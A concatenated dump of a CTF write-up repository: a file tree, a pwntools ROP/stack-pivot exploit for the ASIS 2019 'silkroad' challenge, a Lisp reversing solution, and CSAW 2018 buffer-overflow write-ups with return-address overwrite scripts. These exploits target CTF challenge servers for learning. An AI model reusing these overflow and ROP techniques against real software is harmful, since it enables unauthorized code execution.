├── ASISCTF2019 └── silkroad │ ├── README.md │ ├── Silkroad │ └── 790317143 │ ├── exploit-silkroad.py │ ├── get_secret_number.py │ ├── silkroad.elf │ └── vulnerable_function.png ├── AngstromCTF2019 └── lithp │ ├── README.md │ ├── flag.png │ ├── lithp.lisp │ └── solve-lithp.py ├── CSAW2018 ├── bigboi │ ├── README.md │ ├── boi │ ├── solved_big_boi.png │ └── vulnerable_code.png ├── get_it │ ├── IDA_display.png │ ├── README.md │ ├── get_it │ ├── get_it_solved.png │ ├── stack.png │ └── stack2.png └── turtles │ ├── Objective-C_class_description.png │ ├── README.md │ ├── ROP_heap_buffer.png │ ├── Selector_Table.png │ ├── Turtle_class_on_stack.png │ ├── Turtle_code.png │ ├── attempt_to_execute_shellcode.png │ ├── calling_printf.png │ ├── exploit-turtles.py │ ├── heap_corruption.png │ ├── leaking_libc.png │ ├── libs.zip │ ├── misalignment_segfault.png │ ├── one_gadget_output.png │ ├── one_gadget_output_2.png │ ├── stack_set_up_for_ROP.png │ ├── stack_when_calling_turtle_say.png │ ├── turtle_during_debugging.png │ ├── turtles │ ├── turtles_pwned.png │ └── unknown_table_entry.png ├── DefConQuals2019 ├── speedrun1 │ ├── README.md │ ├── solved_locally.png │ └── vulnerability_viewed_in_ghidra.png └── speedrun2 │ ├── README.md │ ├── anti-debug.png │ ├── greeter.png │ ├── local_flag.png │ └── vuln_function.png ├── FacebookCTF2019 ├── otp_server │ ├── README.md │ ├── developing_exploit.png │ ├── got_flag.png │ ├── leaked_canary.png │ └── setting_up_one_gadget.png └── overfloat │ ├── README.md │ ├── got_flag.png │ ├── main.png │ └── stack1.png ├── FireshellCTF2019 └── leakless │ ├── README.md │ ├── buffer_overflow.png │ ├── checksec.png │ ├── dynamic_symbol_lookup.png │ ├── example_PLT_and_GOT.png │ ├── fake_ELF_Sym_structure.png │ ├── fake_rel_plt_pointers_working.png │ ├── l_versions_table.png │ ├── leakless_partial_relro_attack.png │ ├── leakless_solved.png │ ├── offset_calculations.png │ ├── puts_call.png │ ├── read_to_exit.png │ ├── start_of_dynstr_section.png │ ├── system_in_bss_section.png │ └── two_shells.png ├── HackIT2017_pwn200 ├── First_glance.png ├── Hacked.png ├── IDA_assembly.png ├── README.md ├── Terminal.png ├── arbitrary_execution.png ├── check.png ├── exploit_pwn200_clean.py ├── fight.png ├── leak_1.png ├── leak_2.png └── return_loop.png ├── INSHack2019 └── pwn │ ├── gimmeyourshell │ ├── README.md │ ├── gimmeyourshellstack.png │ └── solved.png │ └── ropberry │ ├── README.md │ └── ropberry_solved.png ├── Insomnihack2019 └── onewrite │ ├── README.md │ ├── exit_handler_writable_hook.png │ ├── exploit-onewrite.py │ ├── gadgets.png │ ├── onewrite │ ├── onewrite_working_locally.png │ └── solved_onewrite.png ├── PicoCTF2017 ├── ECC2 │ ├── README.md │ └── solved.png ├── MIPS │ ├── MIPS_solved.png │ ├── README.md │ ├── delayed_branches_flag.png │ └── mips.txt ├── aggregator │ ├── README.md │ ├── aggregator.c │ ├── case_a.png │ ├── exploit-aggregator.py │ ├── exploit_working.png │ ├── free_minus_0x08.png │ ├── heap_after_calling_aggregate.png │ ├── heap_workshop.7z │ ├── leaking_libc_heap_view.png │ ├── leaking_libc_heap_view_2.png │ └── leaking_pointer_to_got_2.png ├── chat-logger │ ├── README.md │ ├── chat_output.png │ ├── exploit_chat-logger.py │ ├── got_shell_chat-logger.png │ ├── heap_layout_1.png │ ├── heap_layout_2.png │ ├── leaking_libc.png │ └── pwndbg_broke_something.png ├── contact-helper │ ├── 15_bytes_short.png │ ├── README.md │ ├── can_read_got.png │ ├── contacts.c │ ├── crafting_got_read.png │ ├── double_free.png │ ├── end_of_got.png │ ├── exploit_contact_helper_clean.py │ ├── read_free_chunk_code.png │ ├── read_free_chunk_output.png │ ├── read_free_chunk_parseheap.png │ ├── remote_exploit_working.png │ ├── solved.png │ └── striking_distance.png ├── encrypted-shell │ ├── README.md │ ├── challenge_solved.png │ ├── dhshell.py │ ├── exploit_encrypted_shell_clean.py │ ├── exploit_working.png │ └── traffic.pcap ├── final │ ├── README.md │ ├── actual_clean_stack.png │ ├── alignment.png │ ├── choose │ ├── choose.c │ ├── clean_stack.png │ ├── clean_stack_2.png │ ├── corrupted_stack.png │ ├── exploit_final_clean.py │ ├── final_exploit_working.png │ ├── no_libc.png │ ├── padding_attempt1.png │ ├── stack_check.png │ ├── struct_sizes.png │ ├── system_test.png │ └── wizard_sight.png ├── flagsay-2 │ ├── GOT_in_IDA.png │ ├── README.md │ ├── challenge_solved.png │ ├── exploit_flagsay_2.py │ ├── flagsay-2.c │ ├── flagsay_output.png │ ├── got_flag.png │ ├── info_proc_mappings.png │ ├── memory_dump.png │ ├── memory_view.png │ ├── placeInFlag.png │ ├── stack_1.png │ ├── stack_2.png │ ├── vmmap.png │ └── vulnerability.png ├── forest │ ├── README.md │ ├── forest │ ├── forest_in_heap.png │ ├── solved_forest.png │ └── string.txt ├── kaley-ceilidh │ ├── Kaley_Ceilidh_solved.png │ └── README.md ├── matrix-deeper │ ├── README.md │ ├── VMMAP.png │ ├── checksec.png │ ├── leak_libc.png │ ├── matrix_deeper_segments.png │ ├── matrix_segments.png │ ├── remote_exploit.png │ └── solved.png ├── matrix │ ├── README.md │ ├── got_shell.png │ ├── matrix.c │ └── vmmap_correct.png ├── much-ado │ ├── README.md │ ├── ending.txt │ ├── much_ado.c │ ├── much_ado_reverser.c │ └── spl.h ├── puzzlingly-accountable │ ├── Forensics_4_solved.png │ ├── README.md │ └── data.pcap └── smallsign │ ├── README.md │ ├── exploit-smallsign.py │ ├── smallsign.py │ ├── smallsign_exploited.png │ └── smallsign_solved.png ├── PicoCTF2018 ├── RE │ ├── assembly-4 │ │ ├── README.md │ │ └── comp.nasm │ ├── keygenme-1 │ │ ├── README.md │ │ ├── activate │ │ ├── check_valid_char.png │ │ ├── check_valid_key.png │ │ ├── reverse-keygen-me.py │ │ └── validate_key.png │ └── special-pw │ │ ├── README.md │ │ ├── assembly1.png │ │ ├── assembly2.png │ │ ├── assembly3.png │ │ └── special_pw.S ├── crypto │ ├── MagicPaddingOracle │ │ ├── README.md │ │ ├── decryption.png │ │ ├── decryption_with_guess_byte.png │ │ ├── encryption.png │ │ ├── got_local_flag.png │ │ ├── got_remote_flag.png │ │ ├── pkcs7.py │ │ ├── sample_interaction.png │ │ └── use-padding-oracle.py │ ├── SpyFi │ │ ├── README.md │ │ ├── break-spify.py │ │ ├── got_flag.png │ │ └── spy_terminal_no_flag.py │ ├── SuperSafeRSA2 │ │ ├── README.md │ │ └── SuperSafeRSA2Solved.png │ ├── SuperSafeRSA3 │ │ ├── Euler_totient_formula.png │ │ ├── README.md │ │ ├── got_flag.png │ │ └── n_factored.png │ └── eleCTRic │ │ ├── README.md │ │ ├── break-eleCTRic.py │ │ ├── eleCTRic.py │ │ └── got_flag.png ├── forensics │ ├── ExtSuperMagic │ │ ├── README.md │ │ ├── e2fsck_screenshot.png │ │ ├── ext-super-magic.img │ │ ├── flag.png │ │ ├── flag_pic.png │ │ ├── hex_editor.png │ │ ├── mke2fs_screenshot.png │ │ └── testdisk_screenshot.png │ ├── LoadSomeBits │ │ ├── README.md │ │ ├── binary_bytes.png │ │ └── pico2018-special-logo.bmp │ └── core │ │ ├── README.md │ │ └── crash_location.png ├── misc │ ├── roulette │ │ ├── README.md │ │ ├── local_flag.png │ │ ├── negative_1000000001.png │ │ ├── remote_flag.png │ │ ├── roulette │ │ ├── roulette.c │ │ ├── roulette_fast.c │ │ ├── roulette_fast_x86 │ │ └── solve-roulette.py │ └── scriptme │ │ ├── README.md │ │ ├── rules.png │ │ ├── script-me-solved.png │ │ └── solve-script-me.py ├── pwn │ ├── areyouroot │ │ ├── README.md │ │ ├── auth │ │ ├── auth.c │ │ ├── first_attempt.png │ │ ├── got_flag.png │ │ ├── heap_after_second_login.png │ │ ├── initial_recon.png │ │ └── wrong_auth_value.png │ ├── can-you-gets-me │ │ ├── README.md │ │ ├── exploit-can-you-gets-me.py │ │ ├── gets │ │ └── gets.c │ ├── echoback │ │ ├── README.md │ │ ├── echoback │ │ ├── got_flag.png │ │ ├── initial_interaction.png │ │ ├── leaking_stack_address.png │ │ ├── local_shell.png │ │ ├── looping_working.png │ │ ├── system_at_plt.png │ │ └── wrote_binsh_string.png │ └── gps │ │ ├── README.md │ │ ├── got_flag.png │ │ ├── gps │ │ ├── gps.c │ │ ├── main.png │ │ └── shellcode_generation.png └── web │ ├── ASimpleQuestion │ ├── README.md │ ├── exploit-A-Simple-Question.py │ ├── got_flag.png │ ├── manual_flag.png │ ├── query1.png │ ├── query2.png │ ├── result1.png │ ├── result2.png │ ├── sqlmap1.png │ └── sqlmap2.png │ ├── ArtisinalHTTP3 │ └── README.md │ ├── Flaskcards │ ├── README.md │ ├── config_items.png │ ├── fingerprinting_method.png │ └── fingerprinting_results.png │ ├── FlaskcardsAndFreedom │ ├── RCE_Test.png │ ├── README.md │ └── got_flag.png │ ├── FlaskcardsSkeletonKey │ ├── README.md │ ├── Session_cookie.png │ ├── got_flag.png │ ├── logged_in_as_admin.png │ └── solve-flaskcards-skeleton-key.py │ ├── HelpMeReset2 │ ├── README.md │ ├── decoded_cookie.png │ ├── got_flag.png │ ├── reset_screen.png │ └── resetting_password.png │ └── SecureLogon │ ├── README.md │ ├── flipped_byte.png │ ├── got_flag.png │ ├── login_test.png │ └── server_noflag.py ├── README.md ├── StarCTF2019 └── quicksort │ ├── README.md │ └── quicksort_solved.png ├── SwampCTF2019 └── heapgolf │ ├── README.md │ ├── heap_after_allocating_two_holes.png │ └── heapgolf1 ├── TAMUCTF2019 ├── pwn1 │ ├── README.md │ ├── flag.png │ └── stack.png ├── pwn2 │ ├── README.md │ ├── flag.png │ ├── stack1.png │ └── stack2.png ├── pwn3 │ ├── README.md │ └── flag.png └── pwn5 │ ├── README.md │ ├── flag.png │ └── run-cmd.png ├── VolgaCTF2019 ├── blind │ ├── README.md │ ├── exploit-blind.py │ ├── keygen.py │ ├── local.py │ └── server.py └── warm │ └── README.md ├── WPICTF2020 └── NotWannaSigh │ ├── 192-168-1-11_potential-malware.pcap │ ├── NotWannasigh │ ├── README.md │ ├── bytes_getting_xored.png │ ├── flag-gif.EnCiPhErEd │ ├── flag.gif │ ├── listening_at_home.png │ ├── notwannasighflag.png │ ├── pcap_seed.png │ ├── ransomNote.txt │ ├── reverse_notwannasigh.c │ └── reverse_notwannasigh.py └── scripts ├── simple_xss.js ├── simple_xss2.js ├── simple_xss3.js └── simple_xss4.js /ASISCTF2019/silkroad/Silkroad/790317143: -------------------------------------------------------------------------------- 1 | SudoiteCTF{t35t_fl49} 2 | -------------------------------------------------------------------------------- /ASISCTF2019/silkroad/exploit-silkroad.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from time import sleep 3 | 4 | local = True 5 | attach_gdb = False 6 | if local: 7 | DELAY = 0.1 8 | else: 9 | DELAY = 0.5 10 | 11 | if local: 12 | p = process('./silkroad.elf') 13 | else: 14 | p = remote('82.196.10.106', 58399) 15 | 16 | if local and attach_gdb: 17 | gdb.attach(p, ''' 18 | break *0x401861 19 | break *0x4017ce 20 | break *0x401811 21 | break *0x4018a6 22 | break *0x40193f 23 | break *0x4012c3 24 | break *0x401352 25 | break *0x4013c9 26 | break *0x40182a 27 | break *0x401382 28 | continue 29 | ''') 30 | # 2b7: printf leak 31 | # 401861: 32 | # 4018be: after fgets 33 | # 4017ce: read silkroad token. Ghidra beats Ida today. 34 | # 4018a6: fgets. 35 | # 40193f: start of main 36 | # 4012c3: printf vulnerability 37 | # 401352: call read 38 | # 4013c9: after call to read 39 | # 40182a: read file address 40 | # 401382: while reading flag from file 41 | 42 | 43 | BSS_ROOT = 0x404400 # was 0x404700 44 | NEW_RBP = BSS_ROOT + 0x100 45 | NEW_RSP = BSS_ROOT + 0x100 46 | LEAVE_ADDR = 0x401298 47 | MAIN_ADDR = 0x40193f 48 | RET_ADDR = 0x401016 49 | READ_SILKROAD_TOKEN_ADDR = 0x4017ce 50 | POP_RDI = 0x401bab 51 | FGETS_ADDR = 0x4018a6 52 | SILKROAD_ADDR = 0x4047c0 53 | FILE_CONTENTS_ADDR = 0x404600 54 | READ_FILE_ADDR = 0x40182a 55 | POP_RSI = 0x401ba9 # pop rsi; pop r15; ret 56 | STDIN_PTR_ADDR = 0x4040d0 57 | LEAK_ADDR = 0x40129a # was 2c3 58 | STACK_PTR_ADDR = 0x404070 # the time, stored in the GOT 59 | CALL_READ_ADDR = 0x401352 60 | PRINT_FLAG_ADDR = 0x401232 61 | CALL_PUTS_ADDR = 0x401964 62 | 63 | def get_to_silkroad(): 64 | p.send('790317143\n') 65 | sleep(DELAY) 66 | p.recvuntil("nick: ") 67 | # 20-22 have to be 0x7a69 68 | p.send("DreadPirateRoberts!\x69\x7a\x00") 69 | sleep(DELAY) 70 | p.recvuntil("Silkroad!\n") 71 | 72 | ## Get to the buffer overflow 73 | get_to_silkroad() 74 | 75 | ## Fill the initial buffer (64 bytes long) 76 | payload = "" 77 | for i in range(8): 78 | payload += chr(0x41+i)*8 79 | # 0x404500: the second call to leave after the second read will pivot the ROP chain 80 | # to this address + 0x8. 81 | payload += p64(NEW_RBP) 82 | payload += p64(0x4017ce) # Puts 0x1ed60 in rdx 83 | payload += p64(POP_RSI) 84 | payload += p64(BSS_ROOT) # where I'm reading into 85 | payload += p64(0x0) 86 | payload += p64(POP_RDI) 87 | payload += p64(0x0) # Read from stdin 88 | payload += p64(CALL_READ_ADDR) 89 | payload += "\n" 90 | p.send(payload) 91 | sleep(DELAY) 92 | 93 | #### payload 2: write to the BSS section! 94 | # 95 | STACK_PIVOT_RBP = BSS_ROOT + 0x300 96 | FAKE_FILE_STRING_LOCATION = BSS_ROOT + 0x400 97 | # Giving myself lots of room to grow the stack down before overwriting my ROP chain 98 | payload2 = "" 99 | payload2 += p64(0x0) # 8 100 | payload2 += "A"*(0x40-8) 101 | payload2 += p64(BSS_ROOT+8) # pointer to null at RBP-0xc0 102 | for i in range(20): 103 | payload2 += chr(0x41+i)*8 # initial filler space 104 | payload2 += p64(BSS_ROOT) # Now this points to null 105 | payload2 += chr(0x56)*8 106 | payload2 += p32(0x0) 107 | payload2 += p32(0x1) 108 | payload2 += p64(STACK_PIVOT_RBP) 109 | # Next comes the continuation of my ROP chain after the stack pivot 110 | payload2 += p64(RET_ADDR) 111 | payload2 += p64(POP_RDI) 112 | # Guess I'll read the file contents into base + 0x400 (0x404800) 113 | payload2 += p64(FAKE_FILE_STRING_LOCATION) 114 | payload2 += p64(READ_SILKROAD_TOKEN_ADDR) 115 | # 116 | for i in range(91): # (0x600 / 8) - 16 117 | payload2 += chr((0x41+i)%256)*8 118 | # Okay, now we're at FAKE_FILE_STRING_LOCATION 119 | payload2 += "790317143\x00" 120 | payload2 += "\n" 121 | p.send(payload2) 122 | 123 | # Profit 124 | p.interactive() -------------------------------------------------------------------------------- /ASISCTF2019/silkroad/get_secret_number.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | def test_9_digit_number(n_9_digits): 4 | n = n_9_digits 5 | e = (n/10000) % 10 6 | # Short circuit 7 | if e != 1: 8 | return False 9 | a = n % 10 10 | b = (n/10) % 10 11 | c = (n/100) % 10 12 | d = (n/1000) % 10 13 | f = (n/100000) % 10 14 | g = (n/1000000) % 10 15 | h = (n/10000000) % 10 16 | i = (n/100000000) % 10 17 | abcd = n % 10000 18 | fghi = n / 100000 19 | if (b + 10*d - f - 10*i - 1) != 0: 20 | return False 21 | if (-20*b - 2*c + g + 10*h - 8) != 0: 22 | return False 23 | if (-3*a - 30*c + 10*f + h) != 0: 24 | return False 25 | if n % (abcd*fghi) != 1337: 26 | log.info("Made it to last test and failed: n = " + str(n), " tested " + str(n%(abcd*fghi)) + ".\n") 27 | return False 28 | log.info("The number is " + str(n_9_digits)) 29 | return True 30 | 31 | log.info(test_9_digit_number(988319640)) 32 | log.info(test_9_digit_number(999999999)) 33 | 34 | count = 0 35 | count += 1 36 | while count < pow(2,32): 37 | if test_9_digit_number(count): 38 | log.info("Returned true.\n") 39 | break 40 | if (count % 1000000) == 0: 41 | log.info("count = " + str(count) + ".\n") 42 | count += 1 43 | # Got it! 790317143 44 | -------------------------------------------------------------------------------- /ASISCTF2019/silkroad/silkroad.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/ASISCTF2019/silkroad/silkroad.elf -------------------------------------------------------------------------------- /ASISCTF2019/silkroad/vulnerable_function.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/ASISCTF2019/silkroad/vulnerable_function.png -------------------------------------------------------------------------------- /AngstromCTF2019/lithp/README.md: -------------------------------------------------------------------------------- 1 | # Lithp 2 | 3 | This was a fairly simple problem from Angstrom CTF 2019, a high school CTF similar to PicoCTF. It was 60 points, where point levels ranged from 10 to about 250. I found it to be a helpful review of some basic Lisp, as I am a bit of a Lisp newbie (see, however, _Structure and Interpretation of Computer Programs_) for good practice with Scheme, a Lisp-based language). I thought I would stretch my Lisp muscles a bit with this problem. 4 | 5 | ### Problem Description 6 | 7 | This is basically a reverse-engineering problem. Here is the source code: 8 | 9 | ```common-lisp 10 | ;LITHP 11 | 12 | (defparameter *encrypted* '(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312)) 13 | (defparameter *flag* '(redacted)) 14 | (defparameter *reorder* '(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20)) 15 | 16 | (defun enc (plain) 17 | (setf uwuth (multh plain)) 18 | (setf uwuth (owo uwuth)) 19 | (setf out nil) 20 | (dotimes (ind (length plain) out) 21 | (setq out (append out (list (/ (nth ind uwuth) -1)))))) 22 | 23 | (defun multh (plain) 24 | (cond 25 | ((null plain) nil) 26 | (t (cons (whats-this (- 1 (car plain)) (car plain)) (multh (cdr plain)))))) 27 | 28 | (defun owo (inpth) 29 | (setf out nil) 30 | (do ((redth *reorder* (cdr redth))) 31 | ((null redth) out) 32 | (setq out (append out (list (nth (car redth) inpth)))))) 33 | 34 | (defun whats-this (x y) 35 | (cond 36 | ((equal y 0) 0) 37 | (t (+ (whats-this x (- y 1)) x)))) 38 | 39 | ;flag was encrypted with (enc *flag*) to give *encrypted* 40 | ``` 41 | 42 | I approached this problem as a complete Lisp newbie. A run-down of how the functions work: `whats-this` takes two parameters. If the second (`y`) is equal to zero, it returns zero; otherwise (the second condition is always true, as forced by the `t` at the start of the second line under the `cond` statement), it takes the first parameter and adds itself to itself `y-1` times. In other words, the function is a convoluted way to multiply two numbers, `x` and `y`. 43 | 44 | Next, let's take a look at `multh`. It takes an input list, `plain`, containing elements such as (`a`,`b`,`c`,`d`) etc. It then iteratively returns a list for which `(1-x)(x)` is calculated for each element `x` of the list (so, `(a(1-a), b(1-b), c(1-c))`, and so on). `owo` does reordering. It takes an input list (in this case, the result of `multh` applied to the plaintext), and finds the `i`th element of the input list for each element `i` of the list `reorder`. So, we're basically reshuffling the elements of `multh` applied to `plain`. Finally, we loop through those reshuffled elements of `multh` applied to `plain`, and construct a list of those elements such that each element is divided by `-1` (i.e. negated). 45 | 46 | ### Solution 47 | 48 | To get the plaintext back, we need to undo the reshuffling, and then solve the quadratic equation `x(x-1) = c` for each element `c` in the reshuffled elements of `ct`. The resulting numbers are ASCII, so I converted them to letters with the `chr` function. Here's the Python code to do that: 49 | 50 | ```python 51 | ct = [8930,15006,8930,10302,11772,13806,13340,11556,12432,13340,10712,10100,11556,12432,9312,10712,10100,10100,8930,10920,8930,5256,9312,9702,8930,10712,15500,9312] 52 | order = [19,4,14,3,10,17,24,22,8,2,5,11,7,26,0,25,18,6,21,23,9,13,16,1,12,15,27,20] 53 | 54 | flag = ['Y']*28 # Initialization 55 | print(ct) 56 | print(order) 57 | flag2 = ['Z']*28 58 | 59 | def solve_quadratic(n): 60 | return (1+pow(1+4*n,0.5))*0.5 61 | 62 | for i in range(28): 63 | flag[i] = chr(int(solve_quadratic(ct[i]))) 64 | 65 | for i in range(28): 66 | for j in range(28): 67 | if order[j]==i: 68 | flag2[i]=flag[j] 69 | 70 | print("rough flag: " + str(flag) + "\n") 71 | print("unscrambled flag: " + str(flag2) + "\n") 72 | print(''.join(flag2)) 73 | ``` 74 | 75 | And the resulting flag: 76 | 77 | ![./flag.png](./flag.png) 78 | 79 | ### Comparison to Other Approaches 80 | 81 | The other write-ups on CTF Time aren't that different. The point of this problem was just to practice reading Lisp and reverse engineering. 82 | -------------------------------------------------------------------------------- /AngstromCTF2019/lithp/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/AngstromCTF2019/lithp/flag.png -------------------------------------------------------------------------------- /AngstromCTF2019/lithp/lithp.lisp: -------------------------------------------------------------------------------- 1 | ;LITHP 2 | 3 | (defparameter *encrypted* '(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312)) 4 | (defparameter *flag* '(redacted)) 5 | (defparameter *reorder* '(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20)) 6 | 7 | (defun enc (plain) 8 | (setf uwuth (multh plain)) 9 | (setf uwuth (owo uwuth)) 10 | (setf out nil) 11 | (dotimes (ind (length plain) out) 12 | (setq out (append out (list (/ (nth ind uwuth) -1)))))) 13 | 14 | (defun multh (plain) 15 | (cond 16 | ((null plain) nil) 17 | (t (cons (whats-this (- 1 (car plain)) (car plain)) (multh (cdr plain)))))) 18 | 19 | (defun owo (inpth) 20 | (setf out nil) 21 | (do ((redth *reorder* (cdr redth))) 22 | ((null redth) out) 23 | (setq out (append out (list (nth (car redth) inpth)))))) 24 | 25 | (defun whats-this (x y) 26 | (cond 27 | ((equal y 0) 0) 28 | (t (+ (whats-this x (- y 1)) x)))) 29 | 30 | ;flag was encrypted with (enc *flag*) to give *encrypted* -------------------------------------------------------------------------------- /AngstromCTF2019/lithp/solve-lithp.py: -------------------------------------------------------------------------------- 1 | # solve-lithp.py 2 | # by Sudoite 3 | 4 | ct = [8930,15006,8930,10302,11772,13806,13340,11556,12432,13340,10712,10100,11556,12432,9312,10712,10100,10100,8930,10920,8930,5256,9312,9702,8930,10712,15500,9312] 5 | order = [19,4,14,3,10,17,24,22,8,2,5,11,7,26,0,25,18,6,21,23,9,13,16,1,12,15,27,20] 6 | 7 | flag = ['Y']*28 # Initialization 8 | print(ct) 9 | print(order) 10 | flag2 = ['Z']*28 11 | 12 | def solve_quadratic(n): 13 | return (1+pow(1+4*n,0.5))*0.5 14 | 15 | for i in range(28): 16 | flag[i] = chr(int(solve_quadratic(ct[i]))) 17 | 18 | for i in range(28): 19 | for j in range(28): 20 | if order[j]==i: 21 | flag2[i]=flag[j] 22 | 23 | print("rough flag: " + str(flag) + "\n") 24 | print("unscrambled flag: " + str(flag2) + "\n") 25 | print(''.join(flag2)) -------------------------------------------------------------------------------- /CSAW2018/bigboi/README.md: -------------------------------------------------------------------------------- 1 | # big_boi 2 | 3 | This is an easy, 25-point binary exploitation problem from CSAW2018. 4 | 5 | ## Reconnaissance 6 | 7 | This problem is really simple and appears designed for students solving their first buffer overflow challenge. Here's the vulnerable code: 8 | 9 | ![./vulnerable_code.png](./vulnerable_code.png) 10 | 11 | I just need to overflow a buffer and replace an integer on the stack with another one. 12 | 13 | Here's the code to solve it: 14 | ``` 15 | ### exploit-boi.py 16 | 17 | from pwn import * 18 | context.binary = '/home/ctf/Documents/CSAW2018/bigboi25/boi' 19 | from time import sleep 20 | 21 | local = False 22 | if local: 23 | p = process('./boi') 24 | else: 25 | p = remote('pwn.chal.csaw.io', 9000) 26 | 27 | time.sleep(1) 28 | p.send("AAAABBBBCCCCDDDDEEEE\xee\xba\xf3\xca"+"\n") 29 | p.interactive() 30 | ``` 31 | 32 | And the flag: 33 | 34 | ![solved_big_boi.png](./solved_big_boi.png) 35 | 36 | Short and sweet. 37 | -------------------------------------------------------------------------------- /CSAW2018/bigboi/boi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/bigboi/boi -------------------------------------------------------------------------------- /CSAW2018/bigboi/solved_big_boi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/bigboi/solved_big_boi.png -------------------------------------------------------------------------------- /CSAW2018/bigboi/vulnerable_code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/bigboi/vulnerable_code.png -------------------------------------------------------------------------------- /CSAW2018/get_it/IDA_display.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/get_it/IDA_display.png -------------------------------------------------------------------------------- /CSAW2018/get_it/README.md: -------------------------------------------------------------------------------- 1 | # get_it 2 | 3 | This is an easy, 50-point binary exploitation problem from CSAW2018. 4 | 5 | ## Reconnaissance 6 | 7 | For this problem it looks like I need to call the `get_shell` function, probably by overwriting the return address. 8 | 9 | ![IDA_display.png](./IDA_display.png) 10 | 11 | Here's the stack when I have just read in some input: 12 | 13 | ![stack.png](./stack.png) 14 | 15 | The return address is at `0x7ffc2ae35b68` in this case. So here's the exploit string: 16 | 17 | `"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHAAAABBBB\xb6\x05\x40\x00\x00\x00\x00\x00\n"` 18 | 19 | And the solve: 20 | 21 | ![get_it_solved.png](./get_it_solved.png) 22 | 23 | Here's the code: 24 | ``` 25 | ### exploit-get_it.py 26 | 27 | from pwn import * 28 | from time import sleep 29 | 30 | local = False 31 | if local: 32 | p = process('./get_it') 33 | else: 34 | p = remote('pwn.chal.csaw.io', 9001) 35 | 36 | sleep(1) 37 | p.send("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHAAAABBBB\xb6\x05\x40\x00\x00\x00\x00\x00\n") 38 | p.interactive() 39 | ``` 40 | -------------------------------------------------------------------------------- /CSAW2018/get_it/get_it: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/get_it/get_it -------------------------------------------------------------------------------- /CSAW2018/get_it/get_it_solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/get_it/get_it_solved.png -------------------------------------------------------------------------------- /CSAW2018/get_it/stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/get_it/stack.png -------------------------------------------------------------------------------- /CSAW2018/get_it/stack2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/get_it/stack2.png -------------------------------------------------------------------------------- /CSAW2018/turtles/Objective-C_class_description.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/Objective-C_class_description.png -------------------------------------------------------------------------------- /CSAW2018/turtles/ROP_heap_buffer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/ROP_heap_buffer.png -------------------------------------------------------------------------------- /CSAW2018/turtles/Selector_Table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/Selector_Table.png -------------------------------------------------------------------------------- /CSAW2018/turtles/Turtle_class_on_stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/Turtle_class_on_stack.png -------------------------------------------------------------------------------- /CSAW2018/turtles/Turtle_code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/Turtle_code.png -------------------------------------------------------------------------------- /CSAW2018/turtles/attempt_to_execute_shellcode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/attempt_to_execute_shellcode.png -------------------------------------------------------------------------------- /CSAW2018/turtles/calling_printf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/calling_printf.png -------------------------------------------------------------------------------- /CSAW2018/turtles/heap_corruption.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/heap_corruption.png -------------------------------------------------------------------------------- /CSAW2018/turtles/leaking_libc.png: -------------------------------------------------------------------------------- 